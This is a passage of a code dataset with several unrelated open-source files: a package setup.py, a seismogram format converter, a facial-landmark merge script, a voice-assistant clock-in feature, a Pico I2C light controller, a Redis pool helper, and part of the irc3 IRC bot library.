"source": "truekiller1/RemixGeng", "license": "Naumen"} {"text": "## INFOS ##\nname = 'brs_utils'\ndescr = 'Basic utilities'\nurl = f'https://github.com/brsynth/{name}'\nauthors = 'Joan H\u00e9risson'\ncorr_author = 'joan.herisson@univ-evry.fr'\n###########\n\n###########\nfrom setuptools import (\n setup,\n find_packages\n)\nfrom os import path as os_path\n\nhere = os_path.dirname(os_path.realpath(__file__))\nversion_file = os_path.join(here, name, '_version.py')\nexec(open(f\"{version_file}\").read()) # loads __version__\ndescription = open(\n os_path.join(\n here,\n 'README.md'\n ),\n encoding='utf-8'\n).read()\n\nsetup(\n name = name,\n version = __version__,\n author = authors,\n author_email = corr_author,\n description = descr,\n long_description = description,\n long_description_content_type = 'text/markdown',\n url = url,\n packages = find_packages(exclude=\"\"),\n# packages = [src_dir],\n# package_dir = {package: package},\n include_package_data = True,\n test_suite = 'pytest',\n license = 'MIT',\n classifiers = [\n 'Programming Language :: Python :: 3',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n ],\n python_requires = '>=3.7',\n)\n\n", "source": "brsynth/rpSBML", "license": "MIT"} {"text": "\"\"\"\nSouthern California Earthquake Center Broadband Platform\nCopyright 2010-2016 Southern California Earthquake Center\n\nCreated on Jul 27, 2012\n@author: maechlin\n\nUtility to convert PEER format seismogram (acceleration) to SCEC bbp\nformat. Expects a pathname to directory containing 3 component PEER\nfiles. Outputs .bbp format file for each set of 3 PEER files. Output\nbbp files are based on the station name, which may be a station name\nor a record sequence number rsn.\n\n$Id: convert_pacc2bbpacc.py 1730 2016-09-06 20:26:43Z fsilva $\n\"\"\"\nfrom __future__ import division, print_function\n\nimport os\nimport bbp_formatter\n\ndef main():\n#\n# Logic is\n#\n# ls the LOMAP dir\n# find each RNS\n# for each RSN create three names of the three components\n# for each RNS create name of output file based on RNS\n# call bbp_formatter\n#\n#\n#\n path = './LOMAP'\n listing = os.listdir(path)\n for infile in listing:\n print(\"current file is: \" + infile)\n\n sta_list = []\n for infile in listing:\n if infile.endswith(\"_E.acc\" or \"_N.acc\" or \"_Z.acc\"):\n fields = infile.split(\"_\")\n id = int(fields[0])\n print(\"Found RECID %d\" % (id))\n sta_list.append(id)\n print(\"next infile\")\n\n for sta in sta_list:\n e_fname = os.path.join(path, \"%s_E.acc\" % (sta))\n n_fname = os.path.join(path, \"%s_N.acc\" % (sta))\n z_fname = os.path.join(path, \"%s_Z.acc\" % (sta))\n bbp_fname = os.path.join(path, \"%s.bbp\" % (sta))\n print(e_fname)\n print(n_fname)\n print(z_fname)\n print(bbp_fname)\n bbp_formatter.peer2bbp(n_fname, e_fname, z_fname, bbp_fname)\n print(\"Created BBP file: %s\" % (bbp_fname))\n\nif __name__ == '__main__':\n main()\n", "source": "kevinmilner/bbp", "license": "Apache-2.0"} {"text": "# Author: Xinshuo Weng\n# Email: xinshuow@andrew.cmu.edu\nimport numpy as np\nimport os, cv2, argparse\n\nfrom shutil import copyfile\nfrom PIL import Image\n\nimport utils.Mugsy_helper\nfrom xinshuo_visualization import visualize_image_with_pts\n\nimport toolbox.util\n\n# merge 2d detection results\n#\t1. merge results from all parts\n#\t2. transpose from 3 x N to N x 3\n#\t3. apply transformation\n\ndef merge_2d(results_path, start_frame, end_frame, image_dir=None, resize_factor=1.0, rot_correct=True, mugsy_version=1, debug=True, vis=False, save_vis=True):\n\tif mugsy_version == 0:\n\t\tim_height, im_width = 5120, 3840\n\telif mugsy_version == 1:\n\t\tim_height, im_width = 4096, 2668\n\telse:\n\t\tassert False, 'the mugsy version is wrong'\n\n\tcamera_list = get_camera_list(mugsy_version)\n\tforce = False\n\tpart_list = utils.Mugsy_helper.get_detailed_subset_list()\n\tnum_pts_all = get_num_pts('overall', debug=debug)\n\tsave_dir = os.path.join(results_path, 'predictions')\n\tvis_dir = os.path.join(results_path, 'tmp', 'visualization')\n\ttoolbox.util.mkdir_if_missing(save_dir)\n\ttoolbox.util.mkdir_if_missing(vis_dir)\n\n\t# process the predictions\n\tfor camera_id in camera_list:\n\t\trotation_degree = utils.Mugsy_helper.get_rotate_degree(camera_id, mugsy_version, debug=debug)\n\t\tfor frame_index in range(start_frame, end_frame+1):\n\t\t\tpts_savepath = os.path.join(save_dir, 'cam'+camera_id, '%05d.pose' % frame_index)\t\t\n\t\t\tif toolbox.util.is_path_exists(pts_savepath) and not force:\n\t\t\t\tcontinue\n\n\t\t\tprint('processing file %s' % pts_savepath)\n\t\t\tpts_array_all = np.zeros((num_pts_all, 3), dtype='float32')\n\t\t\texist = False\n\t\t\tfor subset in part_list:\n\t\t\t\tpts_file = os.path.join(results_path, subset, 'predictions', 'cam'+camera_id, 'image%05d.pts' % frame_index)\n\t\t\t\tif not toolbox.util.is_path_exists(pts_file):\n\t\t\t\t\tcontinue\n\n\t\t\t\tnum_pts = utils.Mugsy_helper.get_num_pts(subset, debug=debug)\n\t\t\t\tpts_array = toolbox.util.load_2dmatrix_from_file(pts_file, delimiter=' ', dtype=str, debug=debug)\t\t\t# 3 x num_pts\n\t\t\t\tpts_array = pts_array[0:3, 0:num_pts].astype('float32')\t\t\t# ignore the whitespace\t\t\t\t\n\t\t\t\tpts_array[0:2, :] = pts_array[0:2, :] * resize_factor\n\n\t\t\t\tif rot_correct:\n\t\t\t\t\tpts_array[0:2, :] = toolbox.util.pts_rotate2D(pts_array[0:2, :], -rotation_degree, im_height, im_width, debug=debug)\n\n\t\t\t\toffset_tmp = utils.Mugsy_helper.get_index_offset(subset, debug=debug)\n\t\t\t\tpts_array_all[offset_tmp : offset_tmp+num_pts, :] = pts_array.transpose().copy()\t\t\t\t\t\t\t# num_pts x 3\n\t\t\t\texist = True\n\n\t\t\tif exist:\n\t\t\t\ttoolbox.util.mkdir_if_missing(pts_savepath)\n\t\t\t\ttoolbox.util.save_2dmatrix_to_file(pts_array_all, pts_savepath, formatting='%.4f', debug=debug)\n\t\t\t\tif vis:\n\t\t\t\t\tassert image_dir is not None, 'the image path should not be none for visualization'\n\t\t\t\t\timage_path = os.path.join(image_dir, 'cam'+camera_id, 'image%05d.png' % frame_index)\n\t\t\t\t\timage_vis = Image.open(image_path)\n\t\t\t\t\tpts_vis = np.transpose(pts_array_all)\n\n\t\t\t\t\tsave_path_tmp = os.path.join(vis_dir, 'cam'+camera_id, 'image%05d.jpg' % frame_index)\n\t\t\t\t\ttoolbox.util.mkdir_if_missing(save_path_tmp)\n\t\t\t\t\tutils.Mugsy_helper.visualize_image_with_pts(image_vis, pts_vis, debug=debug, vis=vis, save_path=save_path_tmp)\n\ndef main():\n\t# 20170928--003235527\n\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--results_path', type=str, default='/media/xinshuo/disk2/datasets/Mugsy_v2/rom/20170928--003235527', help='root dir')\n\tparser.add_argument('--image_dir', type=str, default='/media/xinshuo/disk2/datasets/Mugsy_v2/rom/20170928--003235527/images', help='root dir')\n\tparser.add_argument('--sf', type=int, default=38312, help='start frame')\n\tparser.add_argument('--ef', type=int, default=40111, help='end_frame')\n\tparser.add_argument('--resize_factor', type=float, default=1.0, help='resize factor')\n\tparser.add_argument('--mugsy_version', type=int, default=1, help='0: old mugsy, 1: new mugsy')\n\tparser.add_argument('--rot_correct', type=bool, default=True, help='whether rotation correct is needed')\n\tparser.add_argument('--save_vis', type=bool, default=False, help='save the visualization')\n\targs = parser.parse_args()\n\n\tvis = False\n\tdebug = False\n\tmerge_2d(args.results_path, args.sf, args.ef, image_dir=args.image_dir, resize_factor=args.resize_factor, rot_correct=args.rot_correct, mugsy_version=args.mugsy_version, vis=vis, debug=debug, save_vis=args.save_vis)\n\nif __name__ == '__main__':\n\tmain()", "source": "ShangxuanWu/facial_landmark_detection", "license": "MIT"} {"text": "from features.default import BaseFeature\nimport difflib\nimport datetime\nimport os\nfrom tinydb import TinyDB\n\n\nclass StoreKeys:\n # Global Store Keys\n EMPLOYER = 'employer'\n WORK_START_TIME = 'work_start_time'\n CURRENTLY_WORKING = 'currently_working'\n\n\nclass Feature(BaseFeature):\n def __init__(self, bumblebee_api):\n self.tag_name = \"clock_in\"\n self.patterns = [\"clock in\", \"let's work\", \"start work\", \"clock me in\"]\n self.api = bumblebee_api\n self.config = self.api.get_config()\n self.bs = self.api.get_speech()\n self.work_study_dir = self.config[\"Folders\"][\"work_study\"]\n\n def action(self, spoken_text, arguments_list: list = []):\n # TODO: what if user is already clocked in?\n known_employers = self.get_employers()\n self.bs.respond('Which employer is this for?')\n print(f'List of employers: {known_employers}')\n\n self.api.store_var(StoreKeys.EMPLOYER, '')\n\n close_names = []\n while close_names == []:\n employer_text = self.bs.hear()\n\n if self.bs.interrupt_check(employer_text):\n return\n\n close_names = difflib.get_close_matches(\n employer_text, known_employers)\n\n if close_names == []:\n self.bs.respond(\n 'I don\\'t know this employer. Please try again or cancel')\n\n found_employer = close_names[0]\n if self.bs.approve(f'Should I clock you in for {found_employer}?'):\n self.api.store_var(StoreKeys.EMPLOYER, found_employer)\n self.api.store_var(\n StoreKeys.WORK_START_TIME, datetime.datetime.now())\n self.api.store_var(StoreKeys.CURRENTLY_WORKING, True)\n\n # Log clock-in info into employer's file\n self.clock_in(\n self.api.get_var(StoreKeys.EMPLOYER),\n self.api.get_var(\n StoreKeys.WORK_START_TIME).strftime(\n '%a %b %d, %Y %I:%M %p'\n )\n )\n\n self.bs.respond(\n 'You\\'ve been clocked in for {}.'\n .format(self.api.get_var(StoreKeys.EMPLOYER)))\n\n return\n\n def clock_in(self, employer, work_start_time):\n '''\n Writes line in employer specific file saying I have logged in to work.\n Arguments: employer name,\n work_start_time\n Return type: None\n '''\n # find/create employer file\n with open(\n os.path.join(self.work_study_dir,\n '{}_hours.txt'.format(employer)), 'a+'\n ) as file:\n file.write('Started work: {}\\n'.format(work_start_time))\n\n def get_employers(self):\n '''\n Gets a list of all employers from the employer database.\n '''\n employer_db_path = self.config[\"Database\"][\"employers\"]\n employer_db = TinyDB(employer_db_path)\n return [item[\"name\"] for item in employer_db.all()]\n", "source": "Omarzintan/bumblebee-ai", "license": "MIT"} {"text": "###########################\n# I2C Pico light controller\n###########################\n\n# Command protocol:\n###################\n\n# Commands and data should be sent as a byte array.\n\n# The commands are constructed as a 1 byte command with supplementary data bytes as defined below where required. \n# The pico module will read 8 bytes into the read buffer, so pad remaining data bytes with 0 to ensure no unexpected results.\n\n# 0b00xxxxxx: Reserved\n# 0b01xxxxxx: Get/set light values\n# 0b01GRIIII 0bDDDDDDDD - set light or light group duty cycle\n# G: 1 = Group, 0 = Individual light\n# R: 1 = Reset other lights to duty cyle of 0, 0 = update only this target\n# IIII = 4 bit Light or Group ID\n# DDDDDDDD = 0-255 Duty cycle value 0 = off, 255 = fully on\n\n# 0b1xxxxxxx: Get/set config data\n# 0b10000001: Get module ID - Pico lights should return 0b00000010\n# 0b10000010: Get version\n# 0b10000011: Get group assignments\n\n# I2C command expected data return\n##################################\n\n# 0b01xxxxxx: Get/set light values - 1 byte\n# 0: Success\n# 1: Received reserved command\n# 2: Group config out of sync (only on group set command, issue a group sync command)\n# Unrecognised get/set config command\n# 10: Group ID out of range (only on group set command)\n# 20: Duty value out of range\n# 30: Group ID not in local config\n# 0b10000001: Get module ID - 1 byte - 0b00000010\n# 0b10000010: Get version - 1 byte big endian defining payload length - immediate send of version string, decode as ansi string e.g. \"0.2.0\"\n# 0b10000011: Get group assignments - 2 bytes big endian defining payload length - immediate send of JSON of that length that can be fed into python json.loads(). \n# This is a python dictionary for use in set light group command.\n\nfrom i2c_responder import I2CResponder\nfrom machine import Pin, PWM\nfrom time import sleep_ms\nfrom debug import debugger\nfrom json import dumps, loads\n\nclass pico_light_controller:\n \n def __init__(self, debugger: debugger, I2CResponder: I2CResponder, address: int = 0x41) -> None:\n self.debug = debugger\n self.i2c1 = I2CResponder\n self.I2C_address = address\n self.version = str(\"0.3.0\")\n self.moduleID = 0b00000010\n self.set_light_bits = 0b01000000\n self.group_bit = 0b00100000\n self.reset_bit = 0b00010000\n self.module_id_byte = 0b10000001\n self.version_byte = 0b10000010\n self.get_groups_byte = 0b10000011\n self.max_duty = 65025 #100% on duty value\n self.init_leds()\n self.led_groups = {0: {\"label\": \"All\", \"members\": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15], \"duty\": 0, \"name\": \"\"}, 1: {\"label\": \"All white\", \"members\": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], \"duty\": 0, \"name\": \"\"}, 2: {\"label\": \"All red\", \"members\": [10, 11], \"duty\": 0, \"name\": \"\"}, 3: {\"label\": \"saloon\", \"members\": [0, 1, 2, 3, 4], \"duty\": 0, \"name\": \"\"}, \"duty\": 0, \"name\": \"\"}\n self.current_group = 3\n self.set_group_duties(self.led_groups[self.current_group], self.max_duty)\n self.groupConfigInSync = False\n\n def init_leds(self):\n # data structure\n # leds = [{\"pin\": pin1, \"duty\": int, \"name\": str, \"duty\": 0, \"name\": \"\"}, ...] \n\n self.debug.print(\"init external LEDs\")\n self.leds = [\n {\"pin\": PWM(Pin(0)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(1)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(2)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(3)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(6)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(7)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(8)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(9)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(10)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(11)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(12)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(13)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(14)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(25)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(20)), \"duty\": 0, \"name\": \"\"},\n {\"pin\": PWM(Pin(21)), \"duty\": 0, \"name\": \"\"},\n ]\n \n for led in self.leds:\n led[\"pin\"].freq(1000) \n\n def flash(self, led: Pin, count: int, duration: int = 1) -> None:\n \"\"\"\n Pass a configured LED output pin to flash a count number of times with on time and pause between flashes of duration ms\n \"\"\"\n # TODO Data transfer is currently small but if scaled this will bottleneck transfer speed, this should not happen. \n # Could set a blinker on 2nd core or possibly state machine until data is finished reading\n i = 0\n while i < count:\n led.on()\n sleep_ms(duration)\n led.off()\n if count > 1:\n sleep_ms(duration)\n i += 1\n\n def read_i2c(self) -> list:\n \"\"\"\n Checks I2C input buffer and returns a list of 8 bytes if data present, otherwise returns a list 0 length list.\n \"\"\"\n buffer_in = []\n if self.i2c1.write_data_is_available():\n\n buffer_in = self.i2c1.get_write_data(max_size=8) #returns list of bytes\n \n return buffer_in\n\n def send_i2c(self, send_data: list | bytearray) -> None:\n # TODO create interrupt timer to break out if no read requested in X\n self.debug.print(\"Entering I2C send\")\n self.debug.print(\"Sending this data: \")\n self.debug.print(str(send_data))\n for value in send_data:\n self.debug.print(\"Entering I2C send loop\")\n while not self.i2c1.read_is_pending():\n pass\n self.i2c1.put_read_data(value)\n self.debug.print(\"I2C value sent\")\n \n # TODO timer based interrupt if read still high to break out of byte mismatch\n # While loop on read still active injects 0s that breaks stuff where no byte mismatch\n\n def send_i2c_multibyte(self, send_data: bytearray, sizebytes: int) -> None:\n \"\"\"\n Measures data payload size and sends the data size as the first byte(s). sizebytes defines the number of bytes needed to convey the payload size.\n \"\"\"\n self.debug.print(\"Entering multibyte I2C send\")\n length = len(send_data)\n lengthData = bytearray((length).to_bytes(sizebytes,\"big\"))\n self.debug.print(\"length of data:\")\n self.debug.print(str(lengthData))\n self.send_i2c(lengthData)\n self.send_i2c(send_data)\n \n def set_light_duty(self, led: int, duty: int) -> None:\n self.leds[led][\"duty\"] = duty\n\n self.set_led_duties()\n\n def set_group_duties(self, group: dict, duty: int) -> None:\n \"\"\"\n Sets PWM duties for each light in a group, duty valid values: 0-65025\n \"\"\"\n if duty > self.max_duty:\n duty = self.max_duty\n \n for led in group[\"members\"]:\n self.leds[led][\"duty\"] = duty\n \n self.set_led_duties()\n\n def set_all_zero(self) -> None:\n \"\"\"\n Sets all light duties to 0 (Turn everything off)\n \"\"\"\n for led in self.leds:\n led[\"duty\"] = 0\n\n self.set_led_duties()\n\n # Set PWM config\n def set_led_duties(self):\n for led in self.leds:\n led[\"pin\"].duty_u16(led[\"duty\"])\n \n if self.debug.enable:\n print (\"\\nSetting duty for\")\n print (led)\n\n # Set lights or group of lights to duty value\n def set_lights(self, data: list) -> list:\n \"\"\"\n Set light or group of lights to specifed duty as defined in the lights command protocol\n Returns error code sent on I2C bus\n \"\"\"\n returnByte = 0\n i2cSendData = []\n command = data[0]\n duty = data[1]\n id = command & 0b00001111\n self.debug.print(str(id))\n ledDuty = int(duty * self.max_duty / 255)\n self.debug.print(duty)\n self.debug.print(str(ledDuty))\n\n # Clear other duty cycles if reset bit set\n if data[0] & 0b00010000:\n self.debug.print(\"Clear other duty values\")\n self.set_all_zero()\n \n # Group config mode\n if data[0] & 0b00100000:\n self.debug.print(\"Group config\")\n if self.groupConfigInSync:\n self.set_group_duties(self.led_groups[id], ledDuty)\n self.debug.print(\"Setting group ID\")\n self.debug.print(self.led_groups[id])\n\n # Group config not in sync\n else:\n self.debug.print(\"ERROR: Group config not in sync\")\n returnByte = 3\n \n # Single light config mode\n else:\n self.debug.print(\"Single light config\")\n self.set_light_duty(id, ledDuty)\n\n if returnByte == 0:\n self.debug.print(\"Set light command executed successfully\")\n \n # Any error in setting light duties\n else:\n self.debug.print(\"Set command not applied due to error\")\n self.debug.print(str(returnByte))\n\n #Return error code to master on \"set\" command execution\n i2cSendData.append(returnByte)\n self.send_i2c(i2cSendData)\n\n return i2cSendData\n\n def get_set_config(self, data: list) -> bytearray:\n \"\"\"\n Get or set config relating to the lights module\n Returns data sent on I2C bus\n \"\"\"\n i2cSendData = []\n #Get module ID\n if data[0] == 0b10000001:\n self.debug.print(\"Command: Get module ID\")\n self.debug.print(str(self.moduleID))\n i2cSendData.append(self.moduleID)\n self.send_i2c(i2cSendData)\n\n #Get version\n elif data[0] == 0b10000010:\n self.debug.print(\"Command: Get version\")\n self.debug.print(str(self.version))\n i2cSendData = bytearray(self.version, 'utf-8')\n self.send_i2c_multibyte(i2cSendData, 1)\n \n #Get group configs\n elif data[0] == 0b10000011:\n self.debug.print(\"Command: Get group configs\")\n jsonData = dumps(self.led_groups)\n self.debug.print(jsonData)\n i2cSendData = bytearray(jsonData, 'utf-8')\n self.send_i2c_multibyte(i2cSendData, 2)\n self.groupConfigInSync = True\n\n else:\n self.debug.print(\"Unrecognised get/set config command\")\n self.debug.print(str(data))\n i2cSendData=bytearray(3)\n self.send_i2c(i2cSendData)\n \n return i2cSendData\n ", "source": "sjefferson99/Boatman-pico-lights", "license": "MIT"} {"text": "#!/usr/bin python3\n\n# Imports\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Python:\nfrom typing import Any\nfrom contextvars import ContextVar\nfrom asyncio import get_event_loop\nimport ssl\n\n# 3rd party:\nfrom aioredis import create_redis_pool\n\nimport certifi\n\n# Internal:\nfrom app.config import Settings\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\nREQUEST_ID_CTX_KEY = \"redis_pool\"\n\nredis_pool_ctx_var: ContextVar[Any] = ContextVar(REQUEST_ID_CTX_KEY, default=None)\n\n\nssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\nssl_context.verify_mode = ssl.CERT_REQUIRED\nssl_context.check_hostname = True\nssl_context.load_default_certs()\nssl_context.load_verify_locations(certifi.where())\n\n\n# conn = create_redis_pool(\n# **Settings.redis,\n# minsize=10,\n# loop=get_event_loop(),\n# ssl=ssl_context,\n# )\n\n\nasync def instantiate_redis_pool():\n if (pool := get_redis_pool()) is not None:\n return pool\n\n conn = await create_redis_pool(\n **Settings.redis,\n minsize=15,\n loop=get_event_loop(),\n ssl=ssl_context,\n )\n\n return conn\n\n\ndef get_redis_pool():\n return redis_pool_ctx_var.get()\n\n\ndef set_redis_pool(pool: Any):\n return redis_pool_ctx_var.set(pool)\n\n\nasync def shutdown_redis_pool():\n pool = get_redis_pool()\n set_redis_pool(None)\n try:\n pool.close()\n await pool.wait_closed()\n except AttributeError:\n pass\n", "source": "domdomegg/coronavirus-dashboard-frontend-server", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nfrom urllib.request import urlopen\nfrom ipaddress import ip_address\nfrom collections import deque\nfrom .dcc import DCCManager\nfrom .dcc import DCCChat\nfrom .dec import dcc_event\nfrom .dec import event\nfrom .dec import extend\nfrom .dec import plugin\nfrom . import config\nfrom . import utils\nfrom . import rfc\nfrom . import base\nfrom .compat import asyncio\nfrom .compat import Queue\nimport venusian\nimport time\n\n\nclass IrcConnection(asyncio.Protocol):\n \"\"\"asyncio protocol to handle an irc connection\"\"\"\n\n def connection_made(self, transport):\n self.transport = transport\n self.closed = False\n self.queue = deque()\n\n def decode(self, data):\n \"\"\"Decode data with bot's encoding\"\"\"\n encoding = getattr(self, 'encoding', 'ascii')\n return data.decode(encoding, 'ignore')\n\n def data_received(self, data):\n data = self.decode(data)\n if self.queue:\n data = self.queue.popleft() + data\n lines = data.split('\\r\\n')\n self.queue.append(lines.pop(-1))\n for line in lines:\n self.factory.dispatch(line)\n\n def write(self, data):\n if data is not None:\n data = data.encode(self.encoding)\n if not data.endswith(b'\\r\\n'):\n data = data + b'\\r\\n'\n self.transport.write(data)\n\n def connection_lost(self, exc):\n self.factory.log.critical('connection lost (%s): %r',\n id(self.transport),\n exc)\n self.factory.notify('connection_lost')\n if not self.closed:\n self.close()\n # wait a few before reconnect\n self.factory.loop.call_later(\n 2, self.factory.create_connection)\n\n def close(self):\n if not self.closed:\n self.factory.log.critical('closing old transport (%r)',\n id(self.transport))\n try:\n self.transport.close()\n finally:\n self.closed = True\n\n\nclass IrcBot(base.IrcObject):\n \"\"\"An IRC bot\"\"\"\n\n _pep8 = [dcc_event, event, extend, plugin, rfc, config]\n venusian = venusian\n venusian_categories = [\n 'irc3',\n 'irc3.dcc',\n 'irc3.extend',\n 'irc3.rfc1459',\n 'irc3.plugins.cron',\n 'irc3.plugins.command',\n ]\n\n logging_config = config.LOGGING\n\n defaults = dict(\n base.IrcObject.defaults,\n nick='irc3',\n username='irc3',\n realname='Irc bot based on irc3 http://irc3.readthedocs.io',\n host='localhost',\n mode=0,\n url='https://irc3.readthedocs.io/',\n passwords={},\n flood_burst=4,\n flood_rate=1,\n flood_rate_delay=1,\n ctcp=dict(\n version='irc3 {version} - {url}',\n userinfo='{realname}',\n time='{now:%c}',\n ),\n # freenode config as default for testing\n server_config=dict(\n STATUSMSG='+@',\n PREFIX='(ov)@+',\n CHANTYPES='#',\n CHANMODES='eIbq,k,flj,CFLMPQScgimnprstz',\n ),\n connection=IrcConnection,\n )\n\n def __init__(self, *ini, **config):\n update_config_needed = False\n if 'userinfo' in config or \\\n ('realname' in config and 'username' not in config):\n update_config_needed = True # pragma: no cover\n super(IrcBot, self).__init__(*ini, **config)\n if update_config_needed: # pragma: no cover\n # Backward compat. Remove me in 2017\n self.log.fatal('realname has been renamed to username.')\n self.log.fatal('userinfo has been renamed to realname.')\n self.log.fatal('Please update your config with something like:.')\n if 'realname' in self.config:\n self.log.fatal('username = %(realname)s', self.config)\n if 'userinfo' in self.config:\n self.log.fatal('realname = %(userinfo)s', self.config)\n import sys\n sys.exit(-1)\n self.queue = None\n if self.config.asynchronous:\n self.queue = Queue(loop=self.loop)\n self.awaiting_queue = self.create_task(self.process_queue())\n self._ip = self._dcc = None\n # auto include the sasl plugin if needed\n if 'sasl_username' in self.config and \\\n 'irc3.plugins.sasl' not in self.registry.includes:\n self.include('irc3.plugins.sasl')\n # auto include the autojoins plugin if needed (for backward compat)\n if 'autojoins' in self.config and \\\n 'irc3.plugins.autojoins' not in self.registry.includes:\n self.include('irc3.plugins.autojoins')\n\n @property\n def server_config(self):\n \"\"\"return server configuration (rfc rpl 005)::\n\n >>> bot = IrcBot()\n >>> print(bot.server_config['STATUSMSG'])\n +@\n\n The real values are only available after the server sent them.\n \"\"\"\n return self.config.server_config\n\n def connection_made(self, f): # pragma: no cover\n if getattr(self, 'protocol', None):\n self.protocol.close()\n try:\n transport, protocol = f.result()\n except Exception as e:\n self.log.exception(e)\n self.loop.call_later(3, self.create_connection)\n else:\n self.log.debug('Connected')\n self.protocol = protocol\n self.protocol.queue = deque()\n self.protocol.factory = self\n self.protocol.encoding = self.encoding\n if self.config.get('password'):\n self._send('PASS {password}'.format(**self.config))\n self.notify('connection_ready')\n self.send((\n 'USER {username} {mode} * :{realname}\\r\\n'\n 'NICK {nick}\\r\\n'\n ).format(**self.config))\n self.notify('connection_made')\n\n def send_line(self, data, nowait=False):\n \"\"\"send a line to the server. replace CR by spaces\"\"\"\n data = data.replace('\\n', ' ').replace('\\r', ' ')\n f = asyncio.Future(loop=self.loop)\n if self.queue is not None and nowait is False:\n self.queue.put_nowait((f, data))\n else:\n self.send(data.replace('\\n', ' ').replace('\\r', ' '))\n f.set_result(True)\n return f\n\n async def process_queue(self):\n flood_burst = self.config.flood_burst\n delay = float(self.config.flood_rate_delay)\n flood_rate = delay / float(self.config.flood_rate)\n while True:\n if flood_burst == 0:\n future, data = await self.queue.get()\n future.set_result(True)\n self.send(data)\n await asyncio.sleep(.001, loop=self.loop)\n else:\n lines = []\n for i in range(flood_burst):\n future, data = await self.queue.get()\n future.set_result(True)\n lines.append(data)\n if self.queue.empty():\n break\n if lines:\n self.send(u'\\r\\n'.join(lines))\n while not self.queue.empty():\n await asyncio.sleep(flood_rate, loop=self.loop)\n future, data = await self.queue.get()\n future.set_result(True)\n self.send(data)\n\n def send(self, data):\n \"\"\"send data to the server\"\"\"\n self._send(data)\n\n def _send(self, data):\n self.protocol.write(data)\n self.dispatch(data, iotype='out')\n\n def privmsg(self, target, message, nowait=False):\n \"\"\"send a privmsg to target\"\"\"\n if message:\n is_dcc = isinstance(target, DCCChat)\n prefix = '' if is_dcc else 'PRIVMSG %s :' % target\n messages = utils.split_message(\n message,\n self.config.max_length,\n prefix=prefix,\n )\n if is_dcc:\n for message in messages:\n target.send_line(message)\n elif target:\n f = None\n for message in messages:\n f = self.send_line(prefix + message,\n nowait=nowait)\n return f\n\n def action(self, target, message, nowait=False):\n return self.privmsg(target, '\\x01ACTION %s\\x01' % message,\n nowait=nowait)\n\n def notice(self, target, message, nowait=False):\n \"\"\"send a notice to target\"\"\"\n if message:\n is_dcc = isinstance(target, DCCChat)\n prefix = '' if is_dcc else 'NOTICE %s :' % target\n messages = utils.split_message(\n message,\n self.config.max_length,\n prefix=prefix,\n )\n if is_dcc:\n for message in messages:\n target.send_line(message)\n elif target:\n f = None\n for message in messages:\n f = self.send_line(prefix + message,\n nowait=nowait)\n return f\n\n def ctcp(self, target, message, nowait=False):\n \"\"\"send a ctcp to target\"\"\"\n if target and message:\n messages = utils.split_message(message, self.config.max_length)\n f = None\n for message in messages:\n f = self.send_line('PRIVMSG %s :\\x01%s\\x01' % (target,\n message),\n nowait=nowait)\n return f\n\n def ctcp_reply(self, target, message, nowait=False):\n \"\"\"send a ctcp reply to target\"\"\"\n if target and message:\n messages = utils.split_message(message, self.config.max_length)\n f = None\n for message in messages:\n f = self.send_line('NOTICE %s :\\x01%s\\x01' % (target, message),\n nowait=nowait)\n return f\n\n def mode(self, target, *data):\n \"\"\"set user or channel mode\"\"\"\n self.send_line('MODE %s %s' % (target, ' '.join(data)), nowait=True)\n\n def join(self, target):\n \"\"\"join a channel\"\"\"\n password = self.config.passwords.get(\n target.strip(self.server_config['CHANTYPES']))\n if password:\n target += ' ' + password\n self.send_line('JOIN %s' % target)\n\n def part(self, target, reason=None):\n \"\"\"quit a channel\"\"\"\n if reason:\n target += ' :' + reason\n self.send_line('PART %s' % target)\n\n def kick(self, channel, target, reason=None):\n \"\"\"kick target from channel\"\"\"\n if reason:\n target += ' :' + reason\n self.send_line('KICK %s %s' % (channel, target), nowait=True)\n\n def invite(self, target, channel):\n \"\"\"invite target to a channel\"\"\"\n self.send_line('INVITE %s %s' % (target, channel))\n\n def topic(self, channel, topic=None):\n \"\"\"change or request the topic of a channel\"\"\"\n if topic:\n channel += ' :' + topic\n self.send_line('TOPIC %s' % channel)\n\n def away(self, message=None):\n \"\"\"mark ourself as away\"\"\"\n cmd = 'AWAY'\n if message:\n cmd += ' :' + message\n self.send_line(cmd)\n\n def unaway(self):\n \"\"\"mask ourself as no longer away\"\"\"\n self.away()\n\n def quit(self, reason=None):\n \"\"\"disconnect\"\"\"\n if not reason:\n reason = 'bye'\n else:\n reason = reason\n self.send_line('QUIT :%s' % reason)\n\n def get_nick(self):\n return self.config.nick\n\n def set_nick(self, nick):\n self.send_line('NICK ' + nick, nowait=True)\n\n nick = property(get_nick, set_nick, doc='nickname get/set')\n\n @property\n def ip(self):\n \"\"\"return bot's ip as an ``ip_address`` object\"\"\"\n if not self._ip:\n if 'ip' in self.config:\n ip = self.config['ip']\n else:\n ip = self.protocol.transport.get_extra_info('sockname')[0]\n ip = ip_address(ip)\n if ip.version == 4:\n 